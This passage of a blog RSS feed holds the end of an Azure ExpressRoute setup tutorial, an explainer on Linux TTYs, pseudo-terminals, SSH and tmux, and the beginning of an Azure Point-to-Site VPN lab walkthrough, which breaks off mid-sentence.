Metered.</p><ul><li>**Allow classic operation** will allow classic virtual networks to be link to the circuit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E_LXNyokupbQnLifZwkmhQ.png" /></figure><p><strong>## Task 2: Retrieve your Service key</strong></p><p>You can view all the circuits that you created by selecting **All services &gt;&gt; Networking &gt;&gt; ExpressRoute circuits**.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_1Vf-dw-5mTHxbf7pADWZQ.png" /></figure><p>All ExpressRoute circuits created in the subscription will appear here.</p><p>The circuit page displays the properties of the circuit. The service key appears in the service key field. Your service provider will need the Service Key to complete the provisioning process. The service key is specific to your circuit. **You must send the service key to your connectivity provider for provisioning.**</p><p>On this page, **Provider status** gives you the current state of provisioning on the service-provider side. **Circuit status** provides you the state on the Microsoft side.</p><p>When you create a new ExpressRoute circuit, the circuit is in the following state:</p><pre>+ Provider status: Not provisioned<br>+ Circuit status: Enabled<br>+ The circuit changes to the following state when the connectivity provider is currently enabling it for you:<br>+ Provider status: Provisioning<br>+ Circuit status: Enabled<br>+ To use the ExpressRoute circuit, it must be in the following state:<br>+ Provider status: Provisioned<br>+ Circuit status: Enabled<br>+ You should periodically check the provisioning status and the state of the circuit status.</pre><p>Congratulations! You have created an ExpressRoute circuit and located the Service key, which you would need to complete the provisioning of the circuit.</p><p>“In this lab environment, while we successfully created the ExpressRoute circuit and obtained the crucial Service key, the circuit status remains in a pending state. This is a standard expectation when working through the initial setup without engaging a live connectivity provider. The Service key generated for this circuit is the vital piece of information that would now need to be shared with our chosen ExpressRoute provider, in this case, Equinix. Once Equinix receives the Service key, they would then proceed to provision the physical and logical connections on their end, linking our network infrastructure to the Microsoft Enterprise Edge routers at the designated peering location. After Equinix completes their provisioning process, the ‘Provider status’ of our ExpressRoute circuit in the Azure portal would transition from ‘Not provisioned’ to ‘Provisioned,’ signifying that the dedicated connectivity has been successfully established and is ready for peering configuration.”</p><p>## Task 3: Deprovisioning an ExpressRoute circuit</p><p>If the ExpressRoute circuit service provider provisioning state is **Provisioning** or **Provisioned,** you must work with your service provider to deprovision the circuit on their side. Microsoft can continue to reserve resources and bill you until the service provider completes deprovisioning the circuit and notifies us.</p><p>→**Note**: You must unlink all virtual networks from the ExpressRoute circuit before deprovisioning. If this operation fails, check whether any virtual networks are linked to the circuit. If the service provider has deprovisioned the circuit (the service provider provisioning state is set to Not provisioned), you can delete the circuit. This stops billing for the circuit.</p><p><strong>## Clean up resources</strong><br>You can delete your ExpressRoute circuit by selecting the <strong>**Delete**</strong> icon. Ensure the provider status is Not provisioned before proceeding</p><p><strong>Choosing Between an ExpressRoute Provider Model and ExpressRoute Direct -&gt; Azure offers two primary models for ExpressRoute connectivity:</strong></p><p>“With the ExpressRoute circuit provisioned by a provider like Equinix, the real power of this dedicated connection unlocks. Imagine a secure, high-speed pipeline directly linking your on-premises data center to the vast resources of Azure. This isn’t just about faster data transfers; it’s about enabling seamless hybrid cloud scenarios, running mission-critical applications with consistent performance, and extending your network with enterprise-grade reliability. The next exciting step involves configuring the peerings — Private Peering to connect your virtual networks and Microsoft Peering to access Azure’s rich ecosystem of services, including Microsoft 365. This is where you truly tailor the ExpressRoute connection to meet your specific cloud strategy and workload requirements, paving the way for innovation and agility.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LPayCCIstzBvxxWfPjVrcw.png" /></figure><p><strong>Azure ExpressRoute SKU and Features</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MV4aS_aZ0Erk3qtVkiJFJA.png" /></figure><p><strong>Azure ExpressRoute Circuit Configuration Details</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JRudX1DMzjtwJxEnry32WQ.png" /></figure><p><strong>Features and Benefits of ExpressRoute</strong></p><ul><li><strong>Built-in Redundancy &amp; High Availability and Failover:</strong> ExpressRoute is designed with redundancy at various levels. Microsoft provisions dual ports on the MSEE routers. You can also work with connectivity providers to establish redundant connections. For enhanced resiliency, consider deploying dual ExpressRoute circuits in different peering locations. Failover mechanisms can be configured at the routing level to automatically switch to a secondary path in case of a failure.</li><li><strong>Connectivity to Microsoft Cloud Services:</strong> ExpressRoute provides secure and reliable connectivity to a wide range of Microsoft cloud services, including Azure IaaS, PaaS, SaaS (Microsoft 365, Dynamics 365), and more. This enables seamless integration and hybrid cloud scenarios.</li><li><strong>Resiliency:</strong> ExpressRoute offers different resiliency options to meet varying business needs:</li><li><strong>Standard Resiliency:</strong> Includes dual ports on the Microsoft Enterprise Edge routers.</li><li><strong>High Resiliency:</strong> Typically involves dual ExpressRoute circuits from the same connectivity provider, potentially in the same peering location, providing path diversity.</li><li><strong>Maximum Resiliency:</strong> Usually involves dual ExpressRoute circuits from different connectivity providers in different peering locations, offering the highest level of fault tolerance.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oRUdeJ4fJ1PRqf9wxFZCAQ.png" /></figure><p><strong>Primary Purpose of Microsoft ExpressRoute Peering</strong></p><p>The primary purpose of Microsoft ExpressRoute peering is to establish <strong>private, high-bandwidth network connections</strong> between Azure datacenters and infrastructure on your premises or in a colocation environment. This dedicated connectivity offers benefits such as:</p><ul><li><strong>Predictable Performance:</strong> Consistent bandwidth and lower latency compared to internet-based connections.</li><li><strong>Enhanced Security:</strong> Traffic travels over a private network, reducing exposure to the public internet.</li><li><strong>Reliability:</strong> Service level agreements (SLAs) are often offered by both Microsoft and the connectivity providers.</li><li><strong>Hybrid Cloud Scenarios:</strong> Enables seamless integration of on-premises and Azure resources.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7yI6wpa4GLWTWEuZBxeVw.png" /></figure><p><strong>Azure Global Reach</strong></p><p>Azure Global Reach enables <strong>direct connectivity between different geographically dispersed on-premises sites</strong> using Microsoft’s global network. It allows you to link ExpressRoute circuits together, creating a private wide area network (WAN) over the Microsoft backbone.</p><p>Think of it as similar to <strong>VNet-to-VNet peering</strong> or an <strong>Azure Virtual WAN hub</strong>, but for connecting your on-premises locations that are connected to Azure via ExpressRoute. It’s designed to complement your service provider’s WAN implementation and facilitate global branch office connectivity.</p><p><strong>Improving Data Path Performance with ExpressRoute FastPath</strong></p><p>ExpressRoute FastPath is a feature designed to <strong>enhance data path performance</strong> between your on-premises network and your Azure virtual networks. Traditionally, traffic traversing an ExpressRoute connection to a VNet would always pass through the ExpressRoute virtual network gateway.</p><p>FastPath <strong>bypasses the virtual network gateway</strong> for supported workloads, routing network traffic directly to virtual machines within the VNet. This reduces latency and improves throughput.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*huonSAyx6INo0b3FaKbS5Q.png" /></figure><p><strong>Key aspects of FastPath:</strong></p><ul><li>Available on all ExpressRoute circuits.</li><li>Must be enabled on the ExpressRoute virtual network gateway.</li><li>Beneficial for latency-sensitive and high-bandwidth applications.</li><li>Supports both Private Peering and Microsoft Peering for Azure PaaS services.</li></ul><p><strong>Common Configuration Issues and Troubleshooting</strong></p><p>Common configuration issues with Azure ExpressRoute include:</p><pre>Incorrect VLAN tagging or encapsulation.<br>Mismatched BGP configuration parameters (ASN, IP addresses, authentication keys).<br>Firewall rules blocking BGP or application traffic.<br>Incorrect route advertisements.<br>Issues with the connectivity provider&#39;s provisioning.<br>Problems with virtual network gateway configuration.<br>Authorization key mismatches when connecting VNets in different subscriptions.</pre><p><strong>Troubleshooting ExpressRoute Connection Issues:</strong></p><pre>Verify the ExpressRoute circuit status in the Azure portal.<br>Check the peering status and BGP session status.<br>Review the configuration of your on-premises routers and the virtual network gateway.<br>Use network monitoring tools to analyze traffic flow.<br>Contact your connectivity provider for any physical connectivity issues.<br>Leverage Azure Network Watcher for diagnostics and troubleshooting.<br>Provide the service key to Microsoft support or your ExpressRoute partner for efficient issue identification</pre><p><strong>In Conclusion:</strong></p><p>Azure ExpressRoute stands as a cornerstone for organizations seeking reliable, high-performance, and secure connectivity to Microsoft Azure. By establishing dedicated private network connections, it bypasses the unpredictability of the public internet, unlocking seamless hybrid cloud scenarios and enhancing the performance of mission-critical workloads.</p><p><strong>Key Takeaways:</strong></p><ul><li><strong>Dedicated Connectivity:</strong> ExpressRoute offers a private and consistent connection to Azure.</li><li><strong>Peering Flexibility:</strong> Private Peering connects to your virtual networks, while Microsoft Peering provides access to SaaS and PaaS services.</li><li><strong>Provider Ecosystem:</strong> A range of connectivity providers and models cater to diverse needs.</li><li><strong>Resiliency Options:</strong> Multiple resiliency levels ensure business continuity.</li><li><strong>Performance Optimization:</strong> Features like FastPath improve data path efficiency.</li></ul><p><strong>Final Remarks:</strong></p><p>Successfully implementing Azure ExpressRoute requires careful planning, understanding the prerequisites, and collaborating with the right connectivity provider. While initial setup involves crucial steps like circuit creation and provisioning, the long-term benefits of enhanced performance, security, and hybrid capabilities make ExpressRoute a strategic investment for organizations embracing the Microsoft cloud. This exploration provides a foundational understanding to embark on your ExpressRoute journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3bfbe39cf90" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Went from Confused to Confident: Understanding TTYs, PTYs, SSH, and tmux]]></title>
            <link>https://medium.com/@M4verick/how-i-went-from-confused-to-confident-understanding-ttys-ptys-ssh-and-tmux-d34252c0e452?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/d34252c0e452</guid>
            <category><![CDATA[tmux]]></category>
            <category><![CDATA[terminal]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[tty]]></category>
            <category><![CDATA[ssh]]></category>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Mon, 28 Apr 2025 19:04:40 GMT</pubDate>
            <atom:updated>2025-04-28T19:04:40.590Z</atom:updated>
            <content:encoded><![CDATA[<p>When I first explored my Linux system’s /dev folder and noticed devices like /dev/tty0 through /dev/tty26, I had a very naive thought:</p><blockquote><em>“These must be containers holding the keyboard characters I type.”</em></blockquote><p>Turns out… I was <strong>completely wrong</strong> — but what I discovered next completely reshaped my understanding of how terminals and remote connections really work.</p><p>This article is a walk through my journey: from confusion to crystal-clear understanding — so you don’t have to stumble the way I did.</p><h3>🖥️ What Is a TTY, Really?</h3><p><strong>TTY</strong> stands for <strong>Teletypewriter</strong> — an early mechanical device used to send typed messages to computers or other teleprinters over wired connections.</p><p>In modern operating systems: Each /dev/ttyX device represents an entire <strong>keyboard and screen session</strong>. A TTY is <strong>not</strong> just a storage space for typed characters — it’s an interactive communication channel between <strong>you</strong> and the <strong>system</strong>. When you open a terminal directly on your computer (without using remote access), you are interfacing with one of these TTYs.</p><p><strong>💡 Key takeaway: </strong>/dev/tty0, /dev/tty1, etc. are full consoles, not just &quot;keyboard character storage&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*htLzATryI5OOO1gO2uqpqg.png" /></figure><h3>📂 What Happens When I Open a Local Terminal?</h3><p>When you open a terminal window on a graphical desktop (Linux, macOS), something slightly different happens:</p><p>Instead of /dev/ttyX, your session attaches to <strong>pseudo-terminal devices</strong> like /dev/ttys000, /dev/ttys001, and so on. Each terminal window or tab is assigned a new <strong>pseudo-terminal</strong> (sometimes called a <strong>PTY</strong>).</p><p><strong>Example:</strong></p><p>First terminal → /dev/ttys000</p><p>Second terminal → /dev/ttys001</p><p>These terminals simulate the behavior of a traditional TTY for local desktop environments.</p><h3>🌍 What Happens When I SSH into a Remote Machine?</h3><p>When connecting over a network (via <strong>SSH</strong> or <strong>Telnet</strong>), the remote server can’t physically hand you a TTY. Instead: It creates a <strong>Pseudo-TTY (PTY)</strong> dynamically. These appear as /dev/pts/0, /dev/pts/1, and so on inside the remote system. So when you SSH, or use a terminal emulator, you don’t get a real “keyboard” device anymore — You get a pseudo-terminal (PTY) — an illusion of a TTY managed by software.<br>When you SSH into a machine, you aren’t physically sitting at /dev/tty1 or /dev/tty2. SSH requests a PTY allocation when you log in. That’s why when you run tty inside an SSH session, you see something like /dev/pts/0, /dev/pts/1. /dev/pts/ devices are pseudo-terminals created dynamically as users connect.</p><p><strong>Example:</strong></p><p>First SSH session → /dev/pts/0 versus Second SSH session → /dev/pts/1</p><p><strong>💬 Clarification:</strong></p><p><strong>TTY</strong> = for direct (local) terminal access</p><p><strong>PTY</strong> = for remote or dynamically spawned terminals</p><h3>🔀 Where Does tmux Fit In?</h3><p>At first, I thought maybe <strong>tmux</strong> uses SSH under the hood to create connections…<strong>Wrong again. Here’s the real deal: tmux</strong> is a <strong>terminal multiplexer</strong>. It creates virtual sessions that can hold multiple terminals inside one real terminal. tmux only runs locally on the machine you launch it from, by grabbing your current terminal (your TTY or PTY) and splits it into multiple sessions/windows/panes. If you happen to be inside an SSH session when you start tmux, tmux uses the PTY given to your SSH session — but tmux itself isn’t doing any SSHing or making any new connections(it was actually this suspicion that inspired me to write about this topic. tmux is so local that you can SSH into a server once, start tmux, then disconnect, and your session will survive. Later you can SSH back and use tmux attach to reconnect to your running session. That’s why tmux is so loved for remote server management!</p><p>It <strong>reuses</strong> the TTY or PTY you are already inside. It <strong>splits</strong> your screen into multiple terminal sessions. It <strong>does not</strong> create new SSH connections or spawn new PTYs. You can think of <strong>tmux</strong> like “right-clicking” inside a terminal and creating multiple tabs — but <strong>all inside the same session</strong>.</p><p>These terminals that tmux opens are not real /dev/tty1, tty2, etc. physical devices. Instead, tmux uses pseudo-terminals (PTYs) to simulate TTY behavior inside a running session. Inside tmux, every window/pane is like a fake little terminal created by a PTY.</p><pre>TMUX =&gt; gives you virtual terminals (via PTYs) not physical TTYs like /dev/tty1, /dev/tty2<br>TMUX duplicates and manages sessions inside whatever TTY (or PTY) you already have.<br>* If you logged in via SSH → you’re in /dev/pts/0, tmux manages inside that PTY.<br>* If you logged in via physical console /dev/tty1 → tmux manages inside that real TTY.<br>TMUX doesn’t create new PTYs. It just splits, multiplexes, and manages new shells inside the same TTY or PTY you are already using. <br>TMUX is similar to right-clicking a terminal and opening a new tab, but in text-only environments.<br>Terminal tabs (like in GNOME Terminal, Konsole, etc.) do the same idea visually:<br>* They reuse the underlying PTY and spawn new shells inside.<br>* tmux does it purely in text mode — that’s why it’s perfect for headless servers.</pre><p>📍<strong>Types of TTYs today &amp; their Common TTY device files in Linux:</strong><br><strong>Physical TTY →</strong> If you plug a monitor/keyboard directly into a Linux machine, the console you log into is a TTY. /dev/tty → The current terminal you’re using<br><strong>Virtual TTY (VTY) </strong>→ When you press Ctrl+Alt+F1, F2, etc. to switch between login screens on Linux, you’re switching virtual TTYs. /dev/tty1, /dev/tty2, etc. → Specific virtual consoles<br><strong>Pseudo-TTY (PTY)</strong> → When you SSH into a server, you don’t get a “real” TTY — you get a pseudo-terminal (like a fake one handled by software). Tools like SSH, screen, tmux, and expect scripts use PTYs. /dev/pts/0, /dev/pts/1, etc. → Pseudo terminals (for SSH sessions, for example)</p><p>🔖<strong>Useful commands with TTY:</strong></p><pre><br>* tty → Shows the file name of your terminal (/dev/pts/1, /dev/tty1, etc.)<br>* who → See who is logged into which TTY<br>* w → See active users + their TTYs and what they’re doing<br>* ps -t pts/1 → See processes running in a specific TTY<br>* kill -9 $(ps -t tty1 -o pid=) → Kill all processes tied to a specific TTY<br>* fg, bg, jobs → Manage background/foreground jobs inside your TTY session</pre><p>📌 <strong>Extra cool stuff about TTYs:</strong><br><em>You can disable or enable TTYs for security (example: hardening a server by disabling tty1–6). If you’re doing device-level programming (like writing drivers), TTYs are deeply involved.<br>In networking (Cisco gear, for example), VTY lines (Virtual Terminal Lines) are what you use to SSH or Telnet into routers/switches — another descendant of TTY.</em></p><p>🔍 <strong>Why i became Suspicions ? </strong>🔭</p><p>If you listed the contents of /dev directory you will see /dev/tty0 to /dev/tty26 (or however many your system had), those aren’t “keyboard characters” themselves — they’re devices that represent terminals (text-based screens). They are virtual terminals, not characters, but your keyboard input is linked to them.<br><strong>Here’s how it really works </strong>🛠️🪛⚒️ <strong>:</strong><br>* <strong>/dev/tty0 →</strong> This special one usually points to the active terminal you’re currently using (like a “redirector”).<br>* <strong>/dev/tty1, /dev/tty2, /dev/tty3</strong>, etc. → These are the individual virtual consoles.</p><pre><br> Pressing Ctrl+Alt+F1 switches you to /dev/tty1<br> Ctrl+Alt+F2 → /dev/tty2<br> Ctrl+Alt+F3 → /dev/tty3, and so on.</pre><p><strong>Each virtual terminal (TTY)</strong> acts like a separate mini-login environment:<br>* A keyboard and display are attached to it.<br>* You can log in multiple users separately on different TTYs.<br>* You could have root logged into TTY1 and a normal user logged into TTY2 at the same time.<br>Your keyboard is the input device for whatever TTY you’re focused on, but the TTYs themselves are not characters — they are like “seats” that your keyboard/screen pair connect to.</p><p>🔍<strong>Think of it like this</strong> 🔭<strong>: </strong>The keyboard is always the same. Which TTY your keyboard is controlling depends on what screen (virtual console) you are on. When you switch consoles (Ctrl+Alt+F#), the keyboard gets attached to a different TTY device.<br>When you first see /dev/tty0, /dev/tty1, /dev/tty2, etc., it’s easy to think -&gt; Maybe these are just like buffers for keystrokes. In reality, Each /dev/ttyX represents a full virtual keyboard + screen combo — a complete interactive console, modeled after old-school teletypewriters. Not just “holding characters” — it’s the whole input/output system. Each real TTY is like plugging in another typewriter physically into the machine.</p><p>🔍 <strong>Extra nerdy detail:</strong>🔭<br>Originally Linux reserved 6 consoles for physical logins (tty1 to tty6) and tty7 was reserved for the graphical environment (like X server / GUI).<br>You can have way more if you want — up to 63 (tty1 to tty63).<br>The system automatically spawns getty processes to “listen” on each TTY and present you the login prompt.<br>🔍 🔭</p><p><strong><em>In Summary:</em></strong><em><br>* </em><strong><em>tmux</em></strong><em> = “terminal tab manager” for text-only environments<br>* </em><strong><em>tmux</em></strong><em> reuses whatever </em><strong><em>TTY/PTY </em></strong><em>you’re in<br>* </em><strong><em>tmux</em></strong><em> splits it into panes, windows, and sessions<br>* No new network connections, no new device files createdWhen you open a new terminal window on your local machine (like Terminal.app on MacOS, or any GUI terminal):<br>* You get something like /dev/ttys000 (Mac-style naming).<br>* Each new tab or window → a new /dev/ttys00X device.<br>* These are local pseudo-terminals created by your OS for GUI terminals.When you SSH into a server, on Linux:<br>* You are assigned a /dev/pts/0 pseudo-terminal.<br>* SSH allocates a new PTY under /dev/pts/.<br>* If you open another SSH session, it gets /dev/pts/1, /dev/pts/2, etc.<br>Because the first SSH session uses /dev/pts/0, the next SSH connection will naturally get /dev/pts/1, and so on.<br>Each SSH session gets its own PTY dynamically created inside /dev/pts/.</em></p><p>🔍<strong>Why MacOS shows /dev/ttys000, /dev/ttys001, and Linux shows /dev/pts/0, /dev/pts/1?</strong> 🔭<br>It’s because of Unix history — specifically how PTYs were implemented differently. We start with a little bit of history?</p><p><strong>In old days:</strong><br>* A TTY was literally a physical machine — a TeleTypewriter — connected to the computer by a wire.<br>* You’d have 3, 4, 10 machines in a room — all clacking away on their own keyboards and printing output.<br>In modern Unix/Linux:<br>* /dev/tty0, /dev/tty1, etc. = Virtualized TTYs, copies of that physical model.<br>* Your Linux kernel pretends you have multiple “typewriters” available on different virtual channels (like Alt+F1, Alt+F2).</p><p><strong>1. Classic BSD-style PTYs (older style — used by MacOS)</strong><br>* MacOS (being based on BSD Unix) uses the traditional BSD pseudo-terminal system.<br>* It creates fixed device files: /dev/ttyp0, /dev/ttyp1, /dev/ttys000, etc.<br>* These devices exist permanently in /dev/ — they’re just reused as needed.<br>BSD model: a lot of static /dev/ttysXXX devices already exist.<br>Example:<br>* Open Terminal tab → assigns /dev/ttys000.<br>* Another tab → /dev/ttys001.<br>* They were already there waiting — BSD made tons of them statically.</p><p><strong>2. Modern Unix/Linux PTYs (PTS system — newer style)</strong><br>* Linux (and modern Unix) uses the “PTY Master/Slave” system with a filesystem like /dev/pts/.<br>* /dev/pts/ is a virtual filesystem (devpts) that dynamically creates PTYs only when needed.<br>* You don’t have /dev/pts/0 until an SSH connection or terminal needs it — then it’s created.<br>Linux model: dynamically create PTYs under /dev/pts/ when needed.<br>Example:<br>* SSH connects → /dev/pts/0 dynamically appears.<br>* Another SSH or xterm opens → /dev/pts/1.</p><h3>📜 Brief History Lesson</h3><p><strong>1960s:</strong> Physical teleprinters directly connected to mainframes.</p><p><strong>1970s–80s:</strong> Virtual consoles invented (TTYs).</p><p><strong>1990s:</strong> Remote login protocols (Telnet, SSH) led to the invention of PTYs.</p><p><strong>2000s:</strong> Tools like screen and tmux made it easy to manage multiple sessions.</p><h3>🤯 My Biggest Realization</h3><p>At first, I genuinely thought that the /dev/ttyX devices were <strong>holding typed characters</strong> — like a buffer. But after diving deeper: I <strong>know now that They represent entire interactive keyboard/display devices</strong>. They have a deep historical legacy tied back to mechanical teletypewriters. PTYs and tools like tmux <strong>build upon</strong> this architecture for modern workflows.</p><h3>🚀 Final Thoughts</h3><p>Understanding TTYs, PTYs, SSH, and tmux isn’t just academic knowledge — it empowers you to manage your Linux systems more confidently, troubleshoot better, and appreciate the elegant history of UNIX. If you ever found /dev/tty, /dev/pts, or tmux confusing — trust me, you’re not alone.<br>But now, you (and I) know better. 🙌</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d34252c0e452" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up an Azure P2S VPN Lab. Your Secure Connection to the Cloud]]></title>
            <link>https://medium.com/@M4verick/setting-up-an-azure-p2s-vpn-lab-your-secure-connection-to-the-cloud-5055302e67ba?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/5055302e67ba</guid>
            <category><![CDATA[vpn-gateway]]></category>
            <category><![CDATA[microsoft-azure]]></category>
            <category><![CDATA[cloud-engineering]]></category>
            <category><![CDATA[network-automation]]></category>
            <category><![CDATA[cloud-networking]]></category>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Sun, 27 Apr 2025 21:43:13 GMT</pubDate>
            <atom:updated>2025-04-27T21:43:13.088Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Goal: To create a secure, private connection (like a tunnel) from your own computer directly into a private network you build in Microsoft Azure. This allows you to securely access resources (like virtual machines) running in Azure as if they were on your local network. We call this a Point-to-Site (P2S) VPN because it connects a single “Point” (your computer) to a “Site” (your Azure network).</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hHpHshy1uV2SFgeD2p6maQ.png" /></figure><p><strong>Why Do This?</strong><br> Secure Access: Access Azure resources without exposing them directly to the public internet. Testing &amp; Development: Safely test applications or configurations that need to interact with cloud resources. Remote Work: Simulate securely connecting to a company’s Azure network from a remote location.</p><p><strong>Core Components You’ll Need in Azure:</strong><br><strong>Virtual Network (VNet):</strong> The Azure network you want to connect to. It needs an address space that doesn’t overlap with your local network (e.g., your home Wi-Fi).<br><strong>GatewaySubnet: </strong>A dedicated subnet within your VNet specifically for the gateway. It MUST be named GatewaySubnet. Use at least a /27 address mask.<br><strong>Virtual Network Gateway (VPN Type):</strong> The Azure resource that provides the VPN endpoint in the cloud.<br> * Gateway Type: Must be VPN.<br> * VPN Type: Must be Route-based. (Policy-based doesn’t support P2S).<br> * SKU: Choose an appropriate SKU (e.g., VpnGw1, VpnGw2). Basic SKU has limitations, so Standard SKUs are generally recommended.<br> * Public IP Address: The gateway needs a public IP for your client to connect to.<br><strong>P2S Configuration on the Gateway:</strong><br> * <strong>Address Pool: </strong>A range of private IP addresses that will be assigned to connecting VPN clients (your Mac). This pool must not overlap with your VNet address space or your local network address space. (e.g., if your VNet is 10.1.0.0/16 and your home network is 192.168.1.0/24, you could use 172.16.201.0/24 for the P2S pool).<br> *<strong> Tunnel Type:</strong> Options like OpenVPN (SSL), SSTP (SSL), and IKEv2. IKEv2 is often well-supported natively on macOS. OpenVPN is also a good cross-platform choice but might require a separate client app (like Tunnelblick).<br> * <strong>Authentication Type</strong>: How clients prove their identity. Options include:<br> * <strong>Azure Certificate:</strong> Uses certificates. You generate a root certificate, upload its public key to Azure, and install a client certificate (signed by the root) on your Mac. This is often the simplest for a demo using self-signed certs.<br> * <strong>Azure Active Directory: </strong>Uses Azure AD credentials for authentication (requires Azure AD tenant).<br> * <strong>RADIUS:</strong> Uses an external RADIUS server for authentication.</p><p><strong>A “Client” Computer:</strong> The computer you want to connect from (e.g., your Windows Server 2022 VM, your Mac, etc.). (Optional but Recommended)</p><p><strong>A “Test” VM in Azure</strong>: A virtual computer running inside your Azure network that you can try to reach once connected.</p><p><strong>Let’s Break Down the Process. This setup happens in a few main phases:</strong><br><strong>Step 1 -&gt; Automated Azure Infrastructure Setup (Using the PowerShell Script- link below) </strong>This PowerShell script [P2S-VPN-GW.ps1] automates the deployment of Azure infrastructure for a Point-to-Site (P2S) VPN lab environment. It is designed to create the necessary Azure resources, including a virtual network (VNet), subnets, a VPN gateway, and a test virtual machine (VM), while leaving the P2S VPN configuration to be completed manually.</p><p><a href="https://github.com/Maverick-sudo/Automation/blob/1a2c81b2fe78a09c28b1be7717441d252e94123b/P2S-VPN-GW.ps1">https://github.com/Maverick-sudo/Automation/blob/1a2c81b2fe78a09c28b1be7717441d252e94123b/P2S-VPN-GW.ps1</a></p><p>### Key Steps in the Script:</p><p><strong>Resource Group Creation: </strong>The script creates a resource group (`P2S-Lab-RG`) in the specified Azure region (`eastus`), which serves as a container for all resources. What is a Resource Group: Think of this like a labeled container or folder in Azure (`P2S-Lab-RG` or similar). Why: It keeps all the pieces of this specific lab organized together. Makes cleanup easier later!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4lhE3Am7PONOTj5YFkw-g.png" /></figure><p><strong>Virtual Network and Gateway Subnets:</strong> A VNet (`P2S-Lab-VNet`) is created with two subnets: a workload subnet for the test VM and a gateway subnet for the VPN gateway. The gateway subnet is configured with a `/27` address space, as required by Azure. What is a VNET: This is your own isolated, private network space within Azure (`P2S-Lab-VNet`). It has its own private IP address range (like `10.55.0.0/16`). Why: It’s the foundation where your Azure resources (like VMs) will live securely, separate from the public internet.</p><p><strong>Subnets: </strong>What they are: The script divides your VNet into smaller sections, like rooms in an office building. `WorkloadSubnet`: A general-purpose area (like `10.55.1.0/24`) where you’ll later manually place your test virtual machine. `GatewaySubnet`: A special, dedicated area (like `10.55.255.0/27`) reserved only for the Azure VPN gateway. Azure requires this specific name and dedicated space. Why: Subnets help organize resources and control traffic flow within your VNet. The `GatewaySubnet` is crucial for the VPN service to function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-vl8xbJoET5odskXet_2g.png" /></figure><p><strong>Public IP for VPN Gateway (The Gateway’s Front Door Address):</strong> A static, standard SKU public IP address is created for the VPN gateway, which is essential for P2S connectivity. What it is: A unique, public internet address (`P2S-Lab-GW-PIP`) assigned specifically for your VPN gateway. Why: Your computer, connecting from the internet, needs a public address to find and connect to the Azure VPN gateway. The script made sure this IP address is “Static” (doesn’t change) and “Standard” (recommended for gateways).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lyoLrylJZfVTGr2phm3Icw.png" /></figure><p><strong>VPN Gateway Configuration:</strong> The script prepares the gateway’s IP configuration and initiates the creation of a route-based VPN gateway (`VpnGw1` SKU) as a background job. This process can take 30–45 minutes.</p><p><strong>Virtual Network Gateway (The Secure Doorway): </strong>What it is: This is the core Azure service (`P2S-Lab-GW`) that acts as the secure entry point into your VNet. The script configured it as a `VPN` type using `RouteBased` logic (needed for P2S) and chose a basic size (`VpnGw1`) suitable for testing. Why: It manages the encrypted VPN tunnels, authenticates connecting users (you!), and routes traffic between your computer and the VNet. Important Note: The script started the creation of this gateway using `-AsJob`. This means the script finished quickly, but the gateway itself takes 30–45 minutes to actually deploy in Azure. You need to wait for this to complete before proceeding. You can check its status in the Azure Portal or using `Get-Job` in PowerShell.<br>Outcome of Phase 1: You have the basic Azure network structure and the VPN gateway service ready and waiting for specific connection instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11xbp0kizXrYUsnttQIt4A.png" /></figure><p><strong>Completion and Next Steps: </strong>The script concludes by summarizing the deployed resources and providing detailed instructions for manually configuring the P2S VPN gateway. This includes setting the address pool, selecting tunnel and authentication types, generating and uploading certificates, and downloading the VPN client configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCr9r_VuI4bIzHWaaiehig.png" /></figure><p><strong>### Highlights:</strong><br>- Automation: The script automates repetitive tasks, reducing manual effort and ensuring consistency.<br>- Flexibility: Customizable variables allow adaptation to different scenarios.<br>- Best Practices: It uses standard SKU public IPs, secure credentials, and appropriate gateway configurations for P2S VPNs.<br>- Manual Configuration: While the infrastructure is automated, the P2S VPN settings are left for manual configuration, providing flexibility for specific requirements.</p><p>This script is ideal for setting up a lab environment to test P2S VPN connectivity and related Azure networking features.</p><p><strong>STEP 2 -&gt; Creating the Test Target (Manual Step in Azure Portal)</strong><br>You need something inside your secure Azure VNet to connect to, just ready to receive connections over the VPN &amp; prove the VPN works. <br><strong>Create a Virtual Machine: </strong>In the Azure Portal, create a new Virtual Machine (e.g., Windows Server 2022, Ubuntu, etc. — whichever you prefer). Crucially: When configuring the VM’s networking, make sure you place it within your existing Virtual Network (`P2S-Lab-VNet`) and specifically select the `WorkloadSubnet`. Do NOT place it in the `GatewaySubnet`. Network Security Group (NSG): During or after VM creation, configure its NSG (firewall rules): Allow inbound ICMP (Ping requests) specifically from the P2S Address Pool (`172.16.55.0/24` or whatever you configured). This lets you test connectivity later. Allow inbound RDP (Port 3389 for Windows) or SSH (Port 22 for Linux) if you want to remotely manage the VM over the VPN tunnel later (you might initially use its public IP for setup, but the goal is to access it via its private IP over the 